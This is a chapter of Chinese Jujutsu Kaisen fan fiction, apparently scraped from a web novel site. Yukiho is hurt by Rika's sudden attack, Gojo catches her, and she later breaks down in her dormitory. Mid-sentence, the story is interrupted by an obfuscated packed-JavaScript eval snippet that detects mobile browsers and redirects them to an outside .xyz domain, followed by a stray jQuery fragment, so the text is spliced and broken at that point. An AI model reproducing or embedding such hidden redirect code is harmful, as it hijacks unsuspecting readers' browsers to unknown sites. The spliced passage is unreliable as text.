从诅咒之力爆发到攻击发出的时间太短了。
电光火石之间,雪穗只来得及抬起手臂,宽大的浴衣衣袖在术式和咒力的作用下化做盾牌。
“砰!”
雪穗被重击横飞出去,绯樱色的身影就像断了线的风筝,刚刚被她拿在手里的象牙白山茶花手帕在空中荡了一下,缓缓飘落。
“里香——!”
根本来不及阻止,乙骨忧太只能急切又哀求地大喊,“不要——!”
里香,不要!
不要再伤害他身边的人!
不要伤害斋藤学姐!
咒具化的衣袖只能抵挡攻击,不让攻击落在身上,但攻击带来的力道并不能减弱。
横飞出去的雪穗刚要调整落地的身形,下一秒,她只觉得腰上一沉,一只手臂环住了她的腰肢,带她转了半圈,卸掉了横飞出去的力量。
“——五条老师!”
乙骨忧太惊喜的声音从不远处传来。
落地时腿不稳半屈膝着差点摔倒的雪穗抬起头,果然,接住她的正是五条悟。
白发的青年在夜晚没有再穿着高专的教师制服,白衬衫,黑色长裤,非常日常。黑色的圆形墨镜架在鼻梁上,从雪穗的角度,正好能看见他墨镜后苍兰色的眼眸。
此时的五条悟表情有点冷淡,又有点无奈。
“哎呀,那群老家伙又该念叨了。”
他松开了环住斋藤雪穗的手臂,走到虚空中两只巨大的手掌前,只用手指轻轻一点,属于特级过咒怨灵的两只巨大手掌就又重新缩回到了乙骨忧太身后的阴影空间里。
整个过程发生的太快,乙骨忧太的情绪大起大落。
现在,他心底只剩下对五条老师深深的感激。
多亏有五条老师在,不然,他又要伤害到别人了。
“五条老师,谢谢您!”
十六岁的男孩都要哭了。
雪穗在五条悟松开她后踉跄地站稳身体,右手轻放于胸口,压制翻涌的气血。
是她大意了。
总监部记录,抓捕乙骨忧太的过程死了三名二级咒术师,一名一级咒术师复仇不成反被杀害,最后靠五条悟出手才把人抓起来。(注1)
这是个绝对危险的人物。
不管是白天,还是刚刚训练场上,特级过咒怨灵的气息都被完全的隐藏起来了。乙骨忧太在斋藤雪穗眼里就是个表情弱弱的,看着一点都不够坚强的小男生。
这是在干什么?
伪装诱杀吗?
简直就像水中的鳄鱼,装的像一截浮木或者死尸在水里漂浮,一旦有猎物靠近,就立刻发动攻击。
雪穗警惕地盯着不远处。
乙骨忧太还是那张一看就特别好欺负的脸,像个受害者一般对着五条悟感激涕零。
搞什么啊。
无缘无故被攻击的是她好吧。
在乙骨忧太视线转过来时,斋藤雪穗收起了脸上的警惕,远远虚弱又温暖的笑了笑,算是回应。
——她没事,也不介意刚刚突发的意外。
乙骨忧太惊慌又愧疚地收回视线,重新将注意力放在五条老师身上。
因此,他没看见——
斋藤雪穗放下微笑的嘴角,在纸灯笼昏黄光线的阴影处面无表情。
不能表现出不满。
哪怕她真的很生气(任谁突然无缘无故被快要命的攻击,谁都会生气吧)。
她的目的是拉拢,不是交恶。这次是她疏忽大意,轻视了这少年的危险性,是她不够谨慎。
——特级过咒怨灵祈本里香。
真惊人啊。
哪怕没有完全显现,只是爆发那短暂的一瞬,其拥有的咒力就仿佛无穷无尽。
不愧是特级过咒怨灵。
怪不得五条悟保下他之后,总监部没过几天就把这个从来没接触过术式的小子评为特级咒术师。
雪穗说服禅院直哉的时候,用词还很保守,她用特级咒术师胚子来形容乙骨忧太——这还是她故意往事态严重了说。结果在她等待夜蛾校长回信的几天,她真收到了总监部把乙骨忧太评委特级咒术师的消息。
此消息一出,京都咒术师大大小小家族都为之震动。
——新的特级咒术师出现了。
禅院直哉本来还犹豫的态度彻底变成放手,随她去搏,能拉拢过来就赚了。
五条悟没管乙骨忧太偷偷看斋藤雪穗的小动作,他思索了一会儿,摸着下巴问:“这次失控是因为什么?”
乙骨忧太收回担忧的视线,他有点害怕。
害怕斋藤学姐受伤,害怕斋藤学姐讨厌他。
听到五条老师的问题,他迟疑了两秒,“大概——,里香不喜欢学姐靠近我。”
“哈?”
五条悟低低的笑了,“原来不止会在你被欺负的时候出现吗?”
乙骨忧太在五条悟思索里香的行动机制时,瞥见地上掉落的手帕。
这是刚刚斋藤学姐想帮他擦汗时拿在手里的……
他走过去捡起来,手帕上刺绣着山茶花和雪穗两个小字。
夜里清冷的风带起了手帕上淡淡的香。
“把它给我吧。”
五条悟说。
乙骨忧太愣了下,“这是斋藤学姐的……”
五条悟:“我知道,我帮你还给她。”
乙骨忧太听话的递过去,但不知道为什么,心里感觉怪怪的。
白天五条老师搭在学姐肩上的手臂,和现在的手帕……
接过手帕,五条悟就把乙骨忧太赶走了,“时间不早啦,快回宿舍去吧。”
乙骨忧太看了眼斋藤雪穗的方向。
斋藤学姐一直站在原地没有靠近,哪怕她刚刚对他笑了,现在应该也是害怕他的吧。
他是真的不想伤害学姐的。
想到也许学姐根本不想他靠近,乙骨忧太听从五条老师的话,回了宿舍。
回宿舍不需要路过斋藤雪穗,是完全不同的方向。
雪穗眯着眼睛注视着乙骨忧太远去,终于憋不住胸口翻涌的血气,一口血喷了出来。
特级过咒怨灵突然发动的攻击,到底还是给她带来点伤。
“给。”
一方手帕出现在斋藤雪穗的视野。
这是她刚刚想替乙骨忧太擦汗时的手帕。
雪穗顺着手帕和拿着手帕的那只手向上,看到了五条悟平静,仿佛洞察一切的脸。
这张脸真的太平静了。
他没有同情她,也没有像白天有些怜惜的问她为什么不向他求救。
他看透了她一切的小伎俩。
热意涌上了脸,一种名为羞愧的情绪涌上斋藤雪穗的心头。
她就是个坏女人。
她就是个故意引诱涉世未深小男孩的坏女人。
那怎么了?
为什么这么看着她!!!
斋藤雪穗抢夺般地从五条悟手里抢走那方属于她的手帕,转身就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486997|170095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走。
她一分一秒都不想出现在五条悟的视线里。
“雪穗!不去硝子那里吗?”
身后,五条悟问。
家入硝子,东京咒术高专校医室的医生。
斋藤雪穗用手背抹掉嘴角的鲜血,没有回头,也没有回答。
回到宿舍,一直忍耐着的情绪终于再也控制不住。
她没有开灯,关门的瞬间就崩溃地靠在了门上,沿着门缓缓滑下。
不该这样的。
她来东京校前假设了所有的情况,唯独没假设到现在。
她没想过,她在五条悟面前会情绪这么失控。
怎么会这样啊。
他要是像白天说“以为她更习惯这样的姿势”那样,毫不掩饰对她的刻薄该多好。
把她当成敌人来警惕,来对待,至少那样她可以心硬的予以反击。
偏偏他想当她的老师。
偏偏他想救她。
她最不堪的一面,没有任何遮掩,毫无保留地暴露在想救她的人面前,无所遁形,这让她怎么能不破防。
五条悟什么也没说。
偏偏他什么也没说。
只是什么也没说,就让她绷不住了。
指责她啊,他不是想当她的老师吗?只要他指责她不该这么做,她就可以立刻反驳。
凭什么他什么都不知道的,高高在上的指责她。
但偏偏他什么也没说。
他仿佛洞察了一切。
为什么啊。
她仿佛看见五条悟那双纤尘不染如神子般的苍兰色眼眸无悲无喜的看着污秽不堪的她。
斋藤雪穗微微仰头,右手手掌颓丧地放在额头上。
她就这样靠坐在门边。
许久,等情绪平稳一些,起身去洗漱。
她不能让自己沉浸在这种脆弱的情绪里。
她可以短暂失控,但不能一直这样。
她太低估五条悟对她的影响了。
这几年,她和五条悟擦肩而过的次数屈指可数,她以为她对这个人没什么太多想法,实际上,她对他融合着感激,崇拜,敬佩,还有看他走在一条与整个咒术界保守派为敌路上的忧心与形容不出来的复杂感情。
因为她很少见到五条悟,这些过于复杂的情绪都被她深埋在内心的最深处。
她每天有太多的事要操心了,这些情绪深到她自己都没有察觉。
直到她来到东京校,直到五条悟揉着她的脑袋,对她说,“叫我五条老师。”
她确实只会在五条悟面前破防——因为他想拯救她。
这种感觉就像品行不堪的粉丝面对品性高洁的偶像,被偶像亲眼看到她干坏事,看到她作死,看到她把自己的人生过的一地鸡毛,一路走坏,却没有指责她,反而希望她可以好好的,并试图拉她一把。
一直强迫自己只能坚强硬撑的她,一直以来一切的痛苦仿佛都有了承载的地方,让她又委屈又自惭形秽,最后汇聚成破防崩溃。
斋藤雪穗来到洗手间,用冷水洗了好几遍脸。
残留的水珠顺着她的脸颊滑下,雪穗盯着镜子中脸色过于发白的女孩。
她不能让自己沉浸在这种情绪太久。
五条悟无法拯救她,她的困境只会转移,不会消失。
这种崩溃毫无意义。
她来东京校的唯一目的是乙骨忧太。
她必须将注意力专注在乙骨忧太身上。
必须。